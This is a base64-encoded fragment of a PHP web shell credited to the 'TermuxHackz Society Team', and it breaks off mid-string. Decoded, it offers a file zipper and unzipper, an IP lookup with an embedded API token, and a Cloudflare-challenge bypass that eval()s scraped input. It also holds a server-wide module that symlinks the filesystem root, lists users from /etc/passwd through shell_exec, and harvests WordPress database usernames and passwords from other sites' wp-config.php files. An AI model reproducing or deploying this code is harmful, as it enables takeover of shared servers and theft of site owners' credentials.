gICAgICAgICAgICAgCQk8ZGl2IGNsYXNzPSJjb2wtbWQtOCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgCQkJPGZvcm0gbWV0aG9kPSJQT1NUIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxjZW50ZXI+PGZvbnQgY29sb3I9ImJsdWUiIHNpemU9IjUiPkFyY2hpdmUgYSBmaWxlIG9yIFppcCBhIGZpbGUocykgPC9mb250PjwvY2VudGVyPjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAJCQkJCTxpbnB1dCBjbGFzcz0iZm9ybS1jb250cm9sIiB0eXBlPSJmaWxlIiBuYW1lPSJ1cGxvYWRbXSIgbXVsdGlwbGUvPiA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgaWQ9ImJ1dHRvbiIgbmFtZT0ic3VibWl0Ij4gPC9idXR0b24+PGJyPg0KPGZvbnQgY29sb3I9InllbGxvdyIgc2l6ZT0iMyIgZmFjZT0iQXJpYWwiPk1vcmUgdGhhbiAyIGZpbGVzIGFyZSBhbGxvd2VkIF5fXiAgPC9mb250Pjxicj4NCiANCg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgCQkJPC9mb3JtPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIAkJCTwhLS0gQWRkIHRoZSB6aXAgZXhycmFjdG9yIGhlcmUgdG9vIC0tPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIAkJCQk8YnIvPjxici8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgDQo8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIAkgPCEtLSBVbnppcCBzZWxlY3RlZCB6aXAgZmlsZSAtLT4NCiAgICAgICAgICAgICAgICAgICAgICAgIAkgIDxjZW50ZXI+PGZvbnQgY29sb3I9ImJsdWUiIHNpemU9IjUiPlVuemlwIGZpbGU8L2ZvbnQ+PC9jZW50ZXI+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgCSA8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgcmVxdWlyZWQgLz4gPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIG5hbWU9InVuemlwZmlsZSIgaWQ9ImJ1dHRvbiI+IDwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgCSA8YnI+DQogICAgICAgICAgICAgICAgICAgICAgICAJPC9mb3JtPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGJyLz4NCjw/cGhwICAgICAgICAgICAgICAgICAgICAgICAgDQogaWYoaXNzZXQoJF9QT1NUWyd1bnppcGZpbGUnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIAlkZWZpbmUoJ19QQVRIJywgZGlybmFtZShfX0ZJTEVfXykpOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAJLy8gVW56aXAgc2VsZWN0ZWQgemlwIGZpbGUNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgJGZpbGVuYW1lID0gJF9GSUxFU1snZmlsZSddWyduYW1lJ107DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgLy8gR2V0IGZpbGUgZXh0ZW5zaW9uDQogICAgICAgICAgICAgICAgICAgICAgICAJICRleHQgPSBwYXRoaW5mbygkZmlsZW5hbWUsIFBBVEhJTkZPX0VYVEVOU0lPTik7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgJHZhbGlkX2V4dCA9IGFycmF5KCd6aXAnKTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgCSAvLyBDaGVjayBleHRlbnNpb24NCiAgICAgICAgICAgICAgICAgICAgICAgIAkgaWYoaW5fYXJyYXkoc3RydG9sb3dlcigkZXh0KSwkdmFsaWRfZXh0KSl7DQogICAgICAgICAgICAgICAgICAgICAgICAJICAkdG1wX25hbWUgPSAkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ107DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgICR6aXAgPSBuZXcgWmlwQXJjaGl2ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgICRyZXMgPSAkemlwLT5vcGVuKCR0bXBfbmFtZSk7DQogICAgICAgICAgICAgICAgICAgICAgICAJICBpZiAoJHJlcyA9PT0gVFJVRSkgew0KDQogICAgICAgICAgICAgICAgICAgICAgICAJICAgLy8gVW56aXAgcGF0aA0KICAgICAgICAgICAgICAgICAgICAgICAgCSAgICRwYXRoID0gX1BBVEguIi9FeHRyYWN0ZWRfRmlsZXMvIjsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgCSAgIC8vIEV4dHJhY3QgZmlsZQ0KICAgICAgICAgICAgICAgICAgICAgICAgCSAgICR6aXAtPmV4dHJhY3RUbygkcGF0aCk7DQogICAgICAgICAgICAgICAgICAgICAgICAJICAgJHppcC0+Y2xvc2UoKTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgCSAgIGVjaG8gJzxzY3JpcHQ+YWxlcnQoIkZpbGUgaGFzIGJlZW4gU3VjY2Vzc2Z1bGx5IHVuemlwcGVkIHRvIEV4dHJhY3RlZCBGaWxlcyBmb2xkZXIiKTwvc2NyaXB0Pic7DQogICAgICAgICAgICAgICAgICAgICAgICAJICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgCSAgIGVjaG8gJzxzY3JpcHQ+YWxlcnQoImZhaWxlZCEgVG8gdW56aXAhISBeX14iKTwvc2NyaXB0Pic7DQogICAgICAgICAgICAgICAgICAgICAgICAJICB9DQogICAgICAgICAgICAgICAgICAgICAgICAJIH1lbHNlew0KICAgICAgICAgICAgICAgICAgICAgICAgCSAgZWNobyAnPHNjcmlwdD5hbGVydCgiSW52YWxpZCBmaWxlIHR5cGUgb25seSB6aXAgZmlsZXMgYWxsb3dlZCIpPC9zY3JpcHQ+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAJfQ0KICAgICAgICAgICAgICAgICAgICAgICAgCT8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgCQk8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAJCQlpZihJU1NFVCgkX1BPU1RbJ3N1Ym1pdCddKSl7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAJCQkJCSRhcmNoaXZlID0gbmV3IFppcEFyY2hpdmUoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAJCQkJCSRhcmNoaXZlLT5vcGVuKCJGaWxlLnppcCIsIFppcEFyY2hpdmU6OkNSRUFURSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgCQkJCQkkZmlsZXMgPSAkX0ZJTEVTWyd1cGxvYWQnXTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIAkJCQkJZm9yKCRpID0gMDsgJGkgPCBjb3VudCgkZmlsZXNbJ25hbWUnXSk7ICRpKyspew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIAkJCQkJCSR0bXBfbmFtZSA9ICRmaWxlc1sndG1wX25hbWUnXVskaV07DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgCQkJCQkJJGZpbGVuYW1lID0gJGZpbGVzWyduYW1lJ11bJGldOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgCQkJCQkJbW92ZV91cGxvYWRlZF9maWxlKCR0bXBfbmFtZSwgJGZpbGVuYW1lKTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIAkJCQkJCSRhcmNoaXZlLT5hZGRGaWxlKCIkZmlsZW5hbWUiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAJCQkJCX0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIAkJCQkJJGFyY2hpdmUtPmNsb3NlKCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxicj4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIAkJCQkJZWNobyAoJzxwPlN1Y2Nlc3NmdWxseSB1cGxvYWRlZCBhbmQgY29tcHJlc3NlZCB0aGUgZmlsZSBhcyBGaWxlLnppcCBhbmQgc2F2ZWQgdG86ICcuICBfX0RJUl9fIC4gJzwvcD4nKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAJCQkJfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8L2NlbnRlcj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSA/Pg0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgICBpZihpc3NldCgkX0dFVFsnYWJvdXRfdXMnXSkpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGNlbnRlcj48YnI+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGlkPSJkZG9zIj48YnV0dG9uIG9uY2xpY2s9ImNsb3NlYnRuKCk7IiBpZD0iY2xvc2UiPlg8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxmb250IGNvbG9yPSJnb2xkIiBzaXplPSI2IiBmYWNlPSJBcmlhbCI+PGNlbnRlcj5BYm91dCB1czwvY2VudGVyPjwvZm9udD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxmb250IHNpemU9IjQiIGNvbG9yPSJncmVlbiI+VGVybXV4SGFja3ogU29jaWV0eSBUZWFtPC9mb250Pjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxwIHN0eWxlPSJjb2xvcjogcmVkOyBzaXplOiAxOXB4OyI+VGVybXV4SGFja3ogU29jaWV0eSBUZWFtIGNyZWF0ZWQgdGhpcyBwb3dlcmZ1bCB3ZWJzaGVsbCwgd2UgYXJlIGEgdmVyeSBpbmZsdWVuY2lhbCB0ZWFtIG1ha2luZyBjaGFuZ2VzIHRvIHRoaXMgd29ybGQgYW5kIGJyZWFraW5nIG1vcmUgZmlyZXdhbGxzIGhhaGEgOikgcHJvdGVjdCB5b3VyIHNpdGUuIFRlcm11eEhhY2t6IFNvY2lldHkgVGVhbSAtIEZ1Y2tpbiBCcmVha2luZyBXZWIgRmlyZXdhbGxzLCBQYXRjaCBZb3VyIFNlY3VyaXR5IFhELi4uQmhhaQ0KICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlIHlvdSB3aWxsIGdldCB5b3VyIHNpdGUgZnVja2VkIHVwIHByZXR0eSBiYWQgOlAgaGFoaGFhIFdlIGFyZSBBbm9ueW1vdXMsIFdlIGFyZSBUZXJtdXhIYWNreiBTb2NpZXR5IGhhaGFoYS4uLiBKb2luIHVzISEgPGJyLz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgWW91IENhbiBKb2luIG91ciBmYWNlYm9vayBncm91cCAgPGEgaHJlZj0iaHR0cHM6Ly9iaXQubHkvM3IySmwxOCIgdGFyZ2V0PSJfYmxhbmsiIGFsdD0iVGVybXV4SGFja3ogU29jaWV0eSBUZWFtIEdyb3VwIj5oZXJlOikgPC9hPiBEb250IGJlIGEgZnVjayB1cCBva2F5Pz8/PC9wPg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8YnI+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPHNjcmlwdD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gY2xvc2VidG4oKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImRkb3MiKS5zdHlsZS5kaXNwbGF5ID0gIm5vbmUiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgIDwvc2NyaXB0Pg0KDQogICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgIH0gPz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgICBpZihpc3NldCgkX0dFVFsnaXBfZ2VvbG9jYXRpb24nXSkpDQogICAgICAgICAgICAgICAgICAgICAgeyA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPGNlbnRlcj48YnI+PGJyPjxmb250IGNvbG9yPSJ0ZWFsIiBzaXplPSI1IiBmYWNlPSJBcmlhbCI+fCBJUCBnZW9sb2NhdGlvbiB8IDwvZm9udD48YnI+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb250IHNpemU9IjQiIGNvbG9yPSJ3aGl0ZSI+RW50ZXIgSVA6IDwvZm9udD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iaXBfbmFtZSIgcGxhY2Vob2xkZXI9IjguOC44LjgiLz4gPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGlkPSJidXR0b24iIG5hbWU9InN1Ym1pdF9pcCI+IDwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGJyPjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3N1Ym1pdF9pcCddKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAkaXAgPSAkX1BPU1RbJ2lwX25hbWUnXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgJHRva2VuX2hhc2ggPSAnTWpOaE16YzVNRFl6T1RJNFl6Yz0nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAkdG9rZW4gPSBiYXNlNjRfZGVjb2RlKCR0b2tlbl9oYXNoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgJGdlb2xvY2F0aW9uX2RhdGEgPSBmaWxlX2dldF9jb250ZW50cygiaHR0cHM6Ly9pcGluZm8uaW8vIi4gJGlwIC4gIj90b2tlbj0iIC4gJHRva2VuKTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAvL3ByaW50IHRoZSBmdWNraW4gcmVzdWx0DQogICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0ZXh0YXJlYSByb3dzPSIxMCIgY29scz0iNTAiPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJGdlb2xvY2F0aW9uX2RhdGE7DQogICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvdGV4dGFyZWE+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvY2VudGVyPic7DQogICAgICAgICAgICAgICAgICAgICAgfT8+DQogICAgICAgICAgICAgICAgICAgICAgCQ0KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCmlmKGlzc2V0KCRfR0VUWyJieXBhc3NfY2xvdWRmbGFyZSJdKSkgew0KPz4NCgk8Y2VudGVyPjxicj48Zm9udCBjb2xvcj0iZ29sZCIgc2l6ZT0iNSIgZmFjZT0iQXJpYWwiPkJ5cGFzcyBDbG91ZGZsYXJlPC9mb250Pjxicj48YnI+DQoJCTxmb3JtIG1ldGhvZD0icG9zdCI+DQoJCQk8Zm9udCBzaXplPSIzIiBjb2xvcj0iZ3JlZW4iPkVudGVyIFdlYnNpdGU6IDwvZm9udD4NCgkJCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ1cmxfbmFtZSIgcGxhY2Vob2xkZXI9Imh0dHA6Ly90YXJnZXRzaXRlLmNvbSIvPiA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgbmFtZT0iZ28iIGlkPSJidXR0b24iPiA8L2J1dHRvbj48YnIvPg0KCQkJPC9mb3JtPg0KPD9waHANCmlmKGlzc2V0KCRfUE9TVFsiZ28iXSkpIHsNCiR1cmwgPSAkX1BPU1RbJ3VybF9uYW1lJ107DQokZGF0YSA9IE9wZW5VUkxjbG91ZGZsYXJlKCR1cmwpOw0KcHJpbnQgJGRhdGE7DQoNCg0KDQpmdW5jdGlvbiBPcGVuVVJMY2xvdWRmbGFyZSgkdXJsKSB7DQogICAgLy9nZXQgY2xvdWRmbGFyZSBDaGFsbGVuZ2VGb3JtDQogICAgJGRhdGEgPSBPcGVuVVJMKCR1cmwpOw0KICAgIHByZWdfbWF0Y2goJy88Zm9ybSBpZD0iQ2hhbGxlbmdlRm9ybSIgLisgbmFtZT0iYWN0IiB2YWx1ZT0iKC4rKSIuK25hbWU9ImpzY2hsX3ZjIiB2YWx1ZT0iKC4rKSIuKzxcL2Zvcm0+Litqc2NobF9hbnN3ZXIuK1woKFswLTlcK1wtXCpdKylcKTsvVWlzJywkZGF0YSwkb3V0KTsNCiAgICBpZihjb3VudCgkb3V0KT4wKSB7DQogICAgICAgIGV2YWwoIlwkanNjaGxfYW5zd2VyPSRvdXRbM107Iik7DQogICAgICAgICRwb3N0WydhY3QnXSAgICAgICAgICAgID0gJG91dFsxXTsNCiAgICAgICAgJHBvc3RbJ2pzY2hsX3ZjJ10gICAgICAgID0gJG91dFsyXTsNCiAgICAgICAgJHBvc3RbJ2pzY2hsX2Fuc3dlciddICAgID0gJGpzY2hsX2Fuc3dlcjsNCiAgICAgICAgLy9zZW5kIGpzY2hsX2Fuc3dlciB0byB0aGUgd2Vic2l0ZQ0KICAgICAgICAkZGF0YSA9IE9wZW5VUkwoJHVybCwgJHBvc3QpOw0KICAgIH0NCiAgICByZXR1cm4oJGRhdGEpOw0KfQ0KDQpmdW5jdGlvbiBPcGVuVVJMKCR1cmwsICRwb3N0PWFycmF5KCkpIHsNCiAgICAkaGVhZGVyc1tdID0gJ1VzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChYMTE7IFVidW50dTsgTGludXggeDg2XzY0OyBydjoxMy4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzEzLjAuMSc7DQogICAgJGhlYWRlcnNbXSA9ICdBY2NlcHQ6IGFwcGxpY2F0aW9uL2pzb24sIHRleHQvamF2YXNjcmlwdCwgKi8qOyBxPTAuMDEnOw0KICAgICRoZWFkZXJzW10gPSAnQWNjZXB0LUxhbmd1YWdlOiBhcixlbjtxPTAuNSc7DQogICAgJGhlYWRlcnNbXSA9ICdDb25uZWN0aW9uOiBrZWVwLWFsaXZlJzsNCiAgICAkY2ggPSBjdXJsX2luaXQoKTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsKTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEhFQURFUiwgJGhlYWRlcnMpOw0KICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9WRVJCT1NFLCBUUlVFKTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIFRSVUUpOw0KICAgIGlmKGNvdW50KCRwb3N0KT4wKSB7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NULCBUUlVFKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsICRwb3N0KTsNCiAgICB9DQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsICcvdG1wL2N1cmwuY29va2llJyk7DQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgJy90bXAvY3VybC5jb29raWUnKTsNCiAgICAkZGF0YSA9IGN1cmxfZXhlYygkY2gpOw0KICAgIHJldHVybigkZGF0YSk7DQp9DQp9IA0KZWNobyAiPC9jZW50ZXI+IjsNCj8+DQoJPD9waHANCgl9IA0KCT8+DQogICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoaXNzZXQoJF9HRVRbJ3dob2xlJ10pKQ0KICAgICAgICAgICAgICAgICAgICAgICAgeyA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8Y2VudGVyPjxicj48Zm9udCBjb2xvcj13aGl0ZSBzaXplPTMgZmFjZT0iY29taWMgc2FucyBtcyI+Y2hhbmdlIHVzZXIvcGFzcyBmb3Igd2hvbGUgc2VydmVyPC9mb250Pjxici8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj13aGl0ZSBzaXplPTMgZmFjZT1cImNvbWljIHNhbnMgbXNcIj5QbGVhc2UgZmlsbCB0aGUgdXNlcm5hbWUvcGFzc3dvcmQgdGhhdCB5b3Ugd2FudCB0byBzZXQgb24gYWRtaW4gcGFuZWxzIDopPGJyPjxmb3JtIG1ldGhvZD1wb3N0Pjxmb250IGNvbG9yPXdoaXRlIHNpemU9MyBmYWNlPVwiY29taWMgc2FucyBtc1wiPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAidXNlcm5hbWU6PGlucHV0IHR5cGU9dGV4dCBuYW1lPXVuYW1lIHZhbHVlPVRlYW0+PGJyPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiUGFzc3dvcmQ8aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFzcyB2YWx1ZT1UZXJteD48L2ZvbnQ+PGJyPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3RhcnQgdmFsdWU9XCJTdGFydCAtKVwiPjxwPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVycm9yX3JlcG9ydGluZygwKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiBlbnRyZTJ2MigkdGV4dCwkbWFycXVldXJEZWJ1dExpZW4sJG1hcnF1ZXVyRmluTGllbikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYXIwPWV4cGxvZGUoJG1hcnF1ZXVyRGVidXRMaWVuLCAkdGV4dCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFyMT1leHBsb2RlKCRtYXJxdWV1ckZpbkxpZW4sICRhcjBbMV0pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhcj10cmltKCRhcjFbMF0pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkYXI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3N0YXJ0J10pKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR1bmFtZT0kX1BPU1RbJ3VuYW1lJ107DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhc3M9JF9QT1NUWydwYXNzJ107DQoNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8vLy8vLy8vLy8vLy8vLy8vLyBzeW1saW5rIC8vLy8vLy8vLy8vLy8vLy8vLy8NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAvLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgbWtkaXIoJ3Rlcm14JywwNzc3KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcnIgPSAiIE9wdGlvbnMgYWxsIFxuIERpcmVjdG9yeUluZGV4IFN1eC5odG1sIFxuIEFkZFR5cGUgdGV4dC9wbGFpbiAucGhwIFxuIEFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAucGhwIFxuIEFkZFR5cGUgdGV4dC9wbGFpbiAuaHRtbCBcbiBBZGRIYW5kbGVyIHR4dCAuaHRtbCBcbiBSZXF1aXJlIE5vbmUgXG4gU2F0aXNmeSBBbnkiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRnID0gZm9wZW4oJ3Rlcm14Ly5odGFjY2VzcycsJ3cnKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmd3JpdGUoJGcsJHJyKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzeW1saW5rKCIvIiwidGVybXgvcm9vdCIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCFpc19kaXIoJ3Rlcm14L3Jvb3QnKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHAgc3R5bGU9ImNvbG9yOiByZWQiOz4gU29ycnkgYnJvIDopICwgc2NyaXB0IGNvdWxkIG5vdCBzeW1saW5rIC8gZm9sZGVyIDooIDwvcD4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjbWQ9ImF3ayAtRiA6ICcoJDM+NTAwKSAmJiAoJDMhPTY1NTM0KSAmJiAoJDMhPTEwMDApJyAvZXRjL3Bhc3N3ZCB8IGN1dCAtZiAxIC1kICc6JyAiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjPXNoZWxsX2V4ZWMoJGNtZCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHVzcj1leHBsb2RlKCJcbiIsJGMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJHVzciBhcyAkdXMgKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR1PXRyaW0oJHVzKTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRiYXNlX3VybCA9ICdodHRwOi8vJy4kX1NFUlZFUlsnU0VSVkVSX05BTUUnXS5kaXJuYW1lKCRfU0VSVkVSWydTQ1JJUFRfTkFNRSddKS4nL3Rlcm14L3Jvb3QvaG9tZS8nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjb25maT1hcnJheSgid3AtY29uZmlnLnBocCIsImJsb2cvd3AtY29uZmlnLnBocCIsIndvcmRwcmVzcy93cC1sb2dpbi5waHAiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRjb25maSBhcyAkY28pDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR1dXJsPUBmaWxlX2dldF9jb250ZW50cygkYmFzZV91cmwuJHUuIi9wdWJsaWNfaHRtbC8iLiRjbyk7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkdXVybCAmJiBwcmVnX21hdGNoKCcvREJfTkFNRS9pJywkdXVybCkpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGRpdiBhbGlnbj1jZW50ZXI+PHRhYmxlIHdpZHRoPTYwJSA+PHRyPjx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgY29sb3I9cmVkIHNpemU9NCBmYWNlPSdjb21pYyBzYW5zIG1zJz4gd2Vic2l0ZSBjbXMgaXMgd29yZHByZXNzIG9mIHVzZXIgJHUgPC9mb250PjwvdGQ+PC90cj48L3RhYmxlPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHdsPSRiYXNlX3VybC4kdS4iL3B1YmxpY19odG1sLyIuJGNvOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0ZXh0PWZpbGVfZ2V0X2NvbnRlbnRzKCR3bCk7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdW5hbWU9JF9QT1NUWyd1bmFtZSddOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkYnU9ZW50cmUydjIoJHRleHQsImRlZmluZSgnREJfVVNFUicsICciLCInKTsiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGJwPWVudHJlMnYyKCR0ZXh0LCJkZWZpbmUoJ0RCX1BBU1NXT1JEJywgJyIsIicpOyIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkYm49ZW50cm